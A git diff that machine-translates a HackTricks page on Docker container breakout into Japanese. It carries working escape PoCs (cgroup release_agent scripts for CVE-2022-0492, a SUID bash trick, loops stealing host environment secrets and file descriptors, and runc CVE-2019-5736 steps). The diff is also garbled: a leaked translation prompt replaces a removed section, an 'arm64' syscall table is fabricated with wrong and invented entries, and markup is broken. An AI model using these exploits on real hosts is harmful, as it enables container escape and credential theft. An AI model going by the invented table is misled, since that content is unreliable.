+コンテナ内では、攻撃者はクラスタによって作成された書き込み可能なhostPathボリュームを介して、基礎となるホストOSへのさらなるアクセスを試みることがあります。以下は、この攻撃ベクトルを利用しているかどうかを確認するためにコンテナ内でチェックできる一般的な項目です。 ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -167,10 +154,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` +#### 既存のrelease\_agentを悪用した特権エスケープ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1 -#### Privileged Escape Abusing existent release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - -{% code title="Initial PoC" %} +{% code title="初期のPoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -204,11 +190,9 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -{% endcode %} +#### 特権エスケープ:作成されたrelease_agentの悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC2 -#### Privileged Escape Abusing created release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - -{% code title="Second PoC" %} +{% code title="セカンドPoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -244,7 +228,7 @@ chmod a+x /cmd # Executes the attack by spawning a process that immediately ends inside the "x" child cgroup # By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory -# The script on the host will execute after /bin/sh exits +# The script on the host will execute after /bin/sh exits sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output @@ -252,20 +236,7 @@ cat /output ``` {% endcode %} -Find an **explanation of the technique** in: - -{% content-ref url="docker-release_agent-cgroups-escape.md" %} -[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) -{% endcontent-ref %} - -#### Privileged Escape Abusing release\_agent without known the relative path - PoC3 - -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: - -{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} -[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) -{% endcontent-ref %} - +以下は、ハッキング技術に関する本のコンテンツです。以下のコンテンツは、/hive/hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md ファイルからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。 ```bash #!/bin/sh @@ -304,20 +275,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -325,9 +296,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +特権付きコンテナ内でPoCを実行すると、次のような出力が得られるはずです。 ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -355,37 +324,34 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +#### 機密マウントの悪用による特権エスケープ -#### Privileged Escape Abusing Sensitive Mounts +**ホストの基礎情報を提供する可能性のあるいくつかのファイル**がマウントされている場合があります。これらのファイルのいくつかは、**ホストが何かが起こったときに実行するものを示しているかもしれません**(これにより攻撃者はコンテナから脱出することができます)。 -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: +これらのファイルの悪用により、次のことが可能になります: -* release\_agent (already covered before) -* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) -* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) -* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) -* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) +- release_agent(すでに前述済み) +- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) +- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) +- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) +- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +ただし、このページでチェックするための**他の機密ファイル**も見つけることができます: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} -### Arbitrary Mounts - -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys… +### 任意のマウント +いくつかの場合、**コンテナにはホストからのボリュームがマウントされている**ことがあります。このボリュームが正しく設定されていない場合、**機密データにアクセス/変更することができる**可能性があります:シークレットの読み取り、sshのauthorized_keysの変更... ```bash docker run --rm -it -v /:/host ubuntu bash ``` +### 2つのシェルとホストマウントによる特権昇格 -### Privilege Escalation with 2 shells and host mount - -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +もし、ホストの一部のフォルダがマウントされたコンテナ内で**rootとしてアクセス**でき、かつ**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセス権がある場合、\ +**コンテナ内のマウントされたフォルダ**に**bash suidファイル**を作成し、ホストからそれを実行することで特権昇格が可能です。 ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -393,17 +359,15 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` +### 2つのシェルを使用した特権昇格 -### Privilege Escalation with 2 shells +もし、**コンテナ内でrootとしてアクセス**でき、**非特権ユーザーとしてホストから脱出**できた場合、コンテナ内でのMKNODの機能(デフォルトで有効)を悪用して、**ホスト内で特権昇格**を行うことができます。この方法は、[**この記事**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)で説明されています。\ +この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**ハードウェアやカーネルモジュールにアクセス**するために使用される特殊なファイルです。たとえば、/dev/sdaのブロックデバイスファイルは、システムディスクの生データにアクセスすることができます。 -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. - -Docker ensures that block devices **cannot be abused from within the container** by setting a cgroup policy on the container that blocks read and write of block devices.\ -However, if a block device is **created within the container it can be accessed** through the /proc/PID/root/ folder by someone **outside the container**, the limitation being that the **process must be owned by the same user** outside and inside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**、コンテナに対してcgroupポリシーを設定して読み書きをブロックします。\ +ただし、もしブロックデバイスが**コンテナ内で作成された場合、コンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、そのプロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。 +**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用されています。 ```bash # On the container as root cd / @@ -421,7 +385,7 @@ su: Authentication failure (Ignored) augustus@3a453ab39d3d:/backend$ /bin/sh /bin/sh -$ +$ ``` ```bash @@ -436,22 +400,18 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ # The process ID is 1659 in this case # Grep for the sda for HTB{ through the process: -augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda +augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +ホストのプロセスにアクセスできる場合、それらのプロセスに格納されている多くの機密情報にアクセスできます。テストラボを実行します: ``` docker run --rm -it --pid=host ubuntu bash ``` +たとえば、`ps auxn`のようなものを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。 -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +次に、**/proc/の各プロセスにアクセスできるため、envの秘密情報を盗むことができます**。以下のコマンドを実行してください。 ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -460,9 +420,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +他のプロセスのファイルディスクリプタにアクセスし、それらのオープンファイルを読むこともできます。 ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -472,94 +430,87 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +あなたはまた、プロセスを**キルしてDoSを引き起こす**こともできます。 {% hint style="warning" %} -If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +もし、コンテナの外部のプロセスに特権のある**アクセス権限を持っている場合**、`nsenter --target --all`または`nsenter --target --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(望ましくはなし)を持つシェルを**実行することができます**。 {% endhint %} ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しています)し、コンテナには独自のIPアドレスが割り当てられません。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`)。 -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニフィングやスプーフィング**することができます。 -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. - -Like in the following examples: +以下の例のように: * [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access): +また、ホスト内部で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータの権限にアクセス**することもできます(これはコンテナがアクセスできるものとは異なる場合があります): {% content-ref url="../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/" %} [broken-reference](../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/) {% endcontent-ref %} ### hostIPC - ``` docker run --rm -it --ipc=host ubuntu bash ``` +もし`hostIPC=true`しか持っていない場合、あなたはほとんど何もできません。ホスト上のプロセスまたは他のポッド内のプロセスがホストの**プロセス間通信メカニズム**(共有メモリ、セマフォ配列、メッセージキューなど)を使用している場合、それらのメカニズムに読み書きすることができます。最初に調べるべき場所は`/dev/shm`です。なぜなら、`hostIPC=true`を持つ任意のポッドとホストで共有されているからです。また、`ipcs`を使用して他のIPCメカニズムもチェックする必要があります。 -If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`. +* **/dev/shmの調査** - この共有メモリの場所にあるファイルを調べてください:`ls -la /dev/shm` +* **既存のIPC施設の調査** - `/usr/bin/ipcs`を使用して使用されているIPC施設があるかどうかを確認できます。次のコマンドで確認してください:`ipcs -a` -* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### 権限の回復 +もし`unshare`システムコールが禁止されていない場合、次のコマンドを実行することですべての権限を回復することができます: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### シンボリックリンクを使用したユーザーネームスペースの乱用 -### User namespace abuse via symlink - -The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). +[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用してバインドマウントを乱用し、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。 ![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## CVEs +## CVE ### Runc exploit (CVE-2019-5736) -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. +`docker exec`をrootとして実行できる場合(おそらくsudoで実行できる場合)、CVE-2019-5736を乱用してコンテナから特権を昇格させることができます([ここ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)にあるexploitを使用します)。このテクニックは、基本的にはコンテナからホストの**/bin/sh**バイナリを**上書き**するものであり、docker execを実行するとペイロードがトリガーされます。 -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。ビルドされたバイナリは、実行のためにdockerコンテナに配置する必要があります。\ +実行すると、`[+] Overwritten /bin/sh successfully`と表示されると、ホストマシンから次のコマンドを実行する必要があります: `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +これにより、main.goファイルに存在するペイロードがトリガーされます。 -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)を参照してください。 {% hint style="info" %} -There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +コンテナは他のCVEにも脆弱である可能性があります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で確認できます。 {% endhint %} -## Docker Custom Escape +## Dockerカスタムエスケープ -### Docker Escape Surface +### Dockerエスケープの対象 -* **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -* **Root user**: By default the user running the process is the root user (however its privileges are limited). -* **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +* **ネームスペース**:ネームスペースによって、プロセスは他のプロセスと完全に分離されるため、ネームスペースによる他のプロセスとのやり取りから脱出することはできません(デフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介した通信はできません)。 +* **ルートユーザー**:デフォルトでは、プロセスを実行するユーザーはルートユーザーです(ただし、権限は制限されています)。 +* **機能**:Dockerは次の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため)。他のシスコールを使用して脱出を試みることができます。 {% tabs %} {% tab title="x64 syscalls" %} @@ -583,9 +534,417 @@ There are other CVEs the container can be vulnerable too, you can find a list in 0x140 -- kexec_file_load 0x141 -- bpf ``` -{% endtab %} - {% tab title="arm64 syscalls" %} + +以下は、arm64アーキテクチャで使用されるシステムコールの一覧です。 + +| システムコール番号 | システムコール名 | +|-------------------|-----------------| +| 0 | read | +| 1 | write | +| 2 | open | +| 3 | close | +| 4 | stat | +| 5 | fstat | +| 6 | lstat | +| 7 | poll | +| 8 | lseek | +| 9 | mmap | +| 10 | mprotect | +| 11 | munmap | +| 12 | brk | +| 13 | rt_sigaction | +| 14 | rt_sigprocmask | +| 15 | rt_sigreturn | +| 16 | ioctl | +| 17 | pread64 | +| 18 | pwrite64 | +| 19 | readv | +| 20 | writev | +| 21 | access | +| 22 | pipe | +| 23 | select | +| 24 | sched_yield | +| 25 | mremap | +| 26 | msync | +| 27 | mincore | +| 28 | madvise | +| 29 | shmget | +| 30 | shmat | +| 31 | shmctl | +| 32 | dup | +| 33 | dup2 | +| 34 | pause | +| 35 | nanosleep | +| 36 | getitimer | +| 37 | alarm | +| 38 | setitimer | +| 39 | getpid | +| 40 | sendfile | +| 41 | socket | +| 42 | connect | +| 43 | accept | +| 44 | sendto | +| 45 | recvfrom | +| 46 | sendmsg | +| 47 | recvmsg | +| 48 | shutdown | +| 49 | bind | +| 50 | listen | +| 51 | getsockname | +| 52 | getpeername | +| 53 | socketpair | +| 54 | setsockopt | +| 55 | getsockopt | +| 56 | clone | +| 57 | fork | +| 58 | vfork | +| 59 | execve | +| 60 | exit | +| 61 | wait4 | +| 62 | kill | +| 63 | uname | +| 64 | semget | +| 65 | semop | +| 66 | semctl | +| 67 | shmdt | +| 68 | msgget | +| 69 | msgsnd | +| 70 | msgrcv | +| 71 | msgctl | +| 72 | fcntl | +| 73 | flock | +| 74 | fsync | +| 75 | fdatasync | +| 76 | truncate | +| 77 | ftruncate | +| 78 | getdents | +| 79 | getcwd | +| 80 | chdir | +| 81 | fchdir | +| 82 | rename | +| 83 | mkdir | +| 84 | rmdir | +| 85 | creat | +| 86 | link | +| 87 | unlink | +| 88 | symlink | +| 89 | readlink | +| 90 | chmod | +| 91 | fchmod | +| 92 | chown | +| 93 | fchown | +| 94 | lchown | +| 95 | umask | +| 96 | gettimeofday | +| 97 | getrlimit | +| 98 | getrusage | +| 99 | sysinfo | +| 100 | times | +| 101 | ptrace | +| 102 | getuid | +| 103 | syslog | +| 104 | getgid | +| 105 | setuid | +| 106 | setgid | +| 107 | geteuid | +| 108 | getegid | +| 109 | setpgid | +| 110 | getppid | +| 111 | getpgrp | +| 112 | setsid | +| 113 | setreuid | +| 114 | setregid | +| 115 | getgroups | +| 116 | setgroups | +| 117 | setresuid | +| 118 | getresuid | +| 119 | setresgid | +| 120 | getresgid | +| 121 | getpgid | +| 122 | setfsuid | +| 123 | setfsgid | +| 124 | getsid | +| 125 | capget | +| 126 | capset | +| 127 | rt_sigpending | +| 128 | rt_sigtimedwait | +| 129 | rt_sigqueueinfo | +| 130 | rt_sigsuspend | +| 131 | sigaltstack | +| 132 | utime | +| 133 | mknod | +| 134 | uselib | +| 135 | personality | +| 136 | ustat | +| 137 | statfs | +| 138 | fstatfs | +| 139 | sysfs | +| 140 | getpriority | +| 141 | setpriority | +| 142 | sched_setparam | +| 143 | sched_getparam | +| 144 | sched_setscheduler | +| 145 | sched_getscheduler | +| 146 | sched_get_priority_max | +| 147 | sched_get_priority_min | +| 148 | sched_rr_get_interval | +| 149 | mlock | +| 150 | munlock | +| 151 | mlockall | +| 152 | munlockall | +| 153 | vhangup | +| 154 | modify_ldt | +| 155 | pivot_root | +| 156 | _sysctl | +| 157 | prctl | +| 158 | arch_prctl | +| 159 | adjtimex | +| 160 | setrlimit | +| 161 | chroot | +| 162 | sync | +| 163 | acct | +| 164 | settimeofday | +| 165 | mount | +| 166 | umount2 | +| 167 | swapon | +| 168 | swapoff | +| 169 | reboot | +| 170 | sethostname | +| 171 | setdomainname | +| 172 | iopl | +| 173 | ioperm | +| 174 | create_module | +| 175 | init_module | +| 176 | delete_module | +| 177 | get_kernel_syms | +| 178 | query_module | +| 179 | quotactl | +| 180 | nfsservctl | +| 181 | getpmsg | +| 182 | putpmsg | +| 183 | afs_syscall | +| 184 | tuxcall | +| 185 | security | +| 186 | gettid | +| 187 | readahead | +| 188 | setxattr | +| 189 | lsetxattr | +| 190 | fsetxattr | +| 191 | getxattr | +| 192 | lgetxattr | +| 193 | fgetxattr | +| 194 | listxattr | +| 195 | llistxattr | +| 196 | flistxattr | +| 197 | removexattr | +| 198 | lremovexattr | +| 199 | fremovexattr | +| 200 | tkill | +| 201 | time | +| 202 | futex | +| 203 | sched_setaffinity | +| 204 | sched_getaffinity | +| 205 | set_thread_area | +| 206 | io_setup | +| 207 | io_destroy | +| 208 | io_getevents | +| 209 | io_submit | +| 210 | io_cancel | +| 211 | get_thread_area | +| 212 | lookup_dcookie | +| 213 | epoll_create | +| 214 | epoll_ctl_old | +| 215 | epoll_wait_old | +| 216 | remap_file_pages | +| 217 | getdents64 | +| 218 | set_tid_address | +| 219 | restart_syscall | +| 220 | semtimedop | +| 221 | fadvise64 | +| 222 | timer_create | +| 223 | timer_settime | +| 224 | timer_gettime | +| 225 | timer_getoverrun | +| 226 | timer_delete | +| 227 | clock_settime | +| 228 | clock_gettime | +| 229 | clock_getres | +| 230 | clock_nanosleep | +| 231 | exit_group | +| 232 | epoll_wait | +| 233 | epoll_ctl | +| 234 | tgkill | +| 235 | utimes | +| 236 | vserver | +| 237 | mbind | +| 238 | set_mempolicy | +| 239 | get_mempolicy | +| 240 | mq_open | +| 241 | mq_unlink | +| 242 | mq_timedsend | +| 243 | mq_timedreceive | +| 244 | mq_notify | +| 245 | mq_getsetattr | +| 246 | kexec_load | +| 247 | waitid | +| 248 | add_key | +| 249 | request_key | +| 250 | keyctl | +| 251 | ioprio_set | +| 252 | ioprio_get | +| 253 | inotify_init | +| 254 | inotify_add_watch | +| 255 | inotify_rm_watch | +| 256 | migrate_pages | +| 257 | openat | +| 258 | mkdirat | +| 259 | mknodat | +| 260 | fchownat | +| 261 | futimesat | +| 262 | newfstatat | +| 263 | unlinkat | +| 264 | renameat | +| 265 | linkat | +| 266 | symlinkat | +| 267 | readlinkat | +| 268 | fchmodat | +| 269 | faccessat | +| 270 | pselect6 | +| 271 | ppoll | +| 272 | unshare | +| 273 | set_robust_list | +| 274 | get_robust_list | +| 275 | splice | +| 276 | tee | +| 277 | sync_file_range | +| 278 | vmsplice | +| 279 | move_pages | +| 280 | utimensat | +| 281 | epoll_pwait | +| 282 | signalfd | +| 283 | timerfd_create | +| 284 | eventfd | +| 285 | fallocate | +| 286 | timerfd_settime | +| 287 | timerfd_gettime | +| 288 | accept4 | +| 289 | signalfd4 | +| 290 | eventfd2 | +| 291 | epoll_create1 | +| 292 | dup3 | +| 293 | pipe2 | +| 294 | inotify_init1 | +| 295 | preadv | +| 296 | pwritev | +| 297 | rt_tgsigqueueinfo | +| 298 | perf_event_open | +| 299 | recvmmsg | +| 300 | fanotify_init | +| 301 | fanotify_mark | +| 302 | prlimit64 | +| 303 | name_to_handle_at | +| 304 | open_by_handle_at | +| 305 | clock_adjtime | +| 306 | syncfs | +| 307 | sendmmsg | +| 308 | setns | +| 309 | getcpu | +| 310 | process_vm_readv | +| 311 | process_vm_writev | +| 312 | kcmp | +| 313 | finit_module | +| 314 | sched_setattr | +| 315 | sched_getattr | +| 316 | renameat2 | +| 317 | seccomp | +| 318 | getrandom | +| 319 | memfd_create | +| 320 | kexec_file_load | +| 321 | bpf | +| 322 | execveat | +| 323 | userfaultfd | +| 324 | membarrier | +| 325 | mlock2 | +| 326 | copy_file_range | +| 327 | preadv2 | +| 328 | pwritev2 | +| 329 | pkey_mprotect | +| 330 | pkey_alloc | +| 331 | pkey_free | +| 332 | statx | +| 333 | io_pgetevents | +| 334 | rseq | +| 424 | pidfd_send_signal | +| 425 | io_uring_setup | +| 426 | io_uring_enter | +| 427 | io_uring_register | +| 428 | open_tree | +| 429 | move_mount | +| 430 | fsopen | +| 431 | fsconfig | +| 432 | fsmount | +| 433 | fspick | +| 434 | pidfd_open | +| 435 | clone3 | +| 436 | close_range | +| 437 | openat2 | +| 438 | pidfd_getfd | +| 439 | faccessat2 | +| 440 | process_madvise | +| 512 | rt_sigaction | +| 513 | rt_sigreturn | +| 514 | ioctl | +| 515 | readv | +| 516 | writev | +| 517 | recvfrom | +| 518 | sendmsg | +| 519 | recvmsg | +| 520 | execveat | +| 521 | membarrier | +| 522 | userfaultfd | +| 523 | copy_file_range | +| 524 | preadv2 | +| 525 | pwritev2 | +| 526 | pkey_mprotect | +| 527 | pkey_alloc | +| 528 | pkey_free | +| 529 | statx | +| 530 | io_pgetevents | +| 531 | rseq | +| 532 | pidfd_send_signal | +| 533 | io_uring_setup | +| 534 | io_uring_enter | +| 535 | io_uring_register | +| 536 | open_tree | +| 537 | move_mount | +| 538 | fsopen | +| 539 | fsconfig | +| 540 | fsmount | +| 541 | fspick | +| 542 | pidfd_open | +| 543 | clone3 | +| 544 | close_range | +| 545 | openat2 | +| 546 | pidfd_getfd | +| 547 | faccessat2 | +| 548 | process_madvise | +| 549 | epoll_pwait2 | +| 550 | mount_setattr | +| 551 | quotactl_fd | +| 552 | landlock_create_ruleset | +| 553 | landlock_add_rule | +| 554 | landlock_restrict_self | +| 555 | memfd_secret | +| 556 | process_mrelease | +| 557 | pwritevf | +| 558 | preadvf | +| 559 | fallocate64 | +| 560 | fgetxattr | +| 561 | lgetxattr | +| 562 | fsetxattr | +| 563 | lsetxattr | +| 564 | ``` 0x029 -- pivot_root 0x059 -- acct @@ -603,8 +962,6 @@ There are other CVEs the container can be vulnerable too, you can find a list in 0x111 -- finit_module 0x118 -- bpf ``` -{% endtab %} - {% tab title="syscall_bf.c" %} ````c // From a conversation I had with @arget131 @@ -617,31 +974,32 @@ There are other CVEs the container can be vulnerable too, you can find a list in int main() { - for(int i = 0; i < 333; ++i) - { - if(i == SYS_rt_sigreturn) continue; - if(i == SYS_select) continue; - if(i == SYS_pause) continue; - if(i == SYS_exit_group) continue; - if(i == SYS_exit) continue; - if(i == SYS_clone) continue; - if(i == SYS_fork) continue; - if(i == 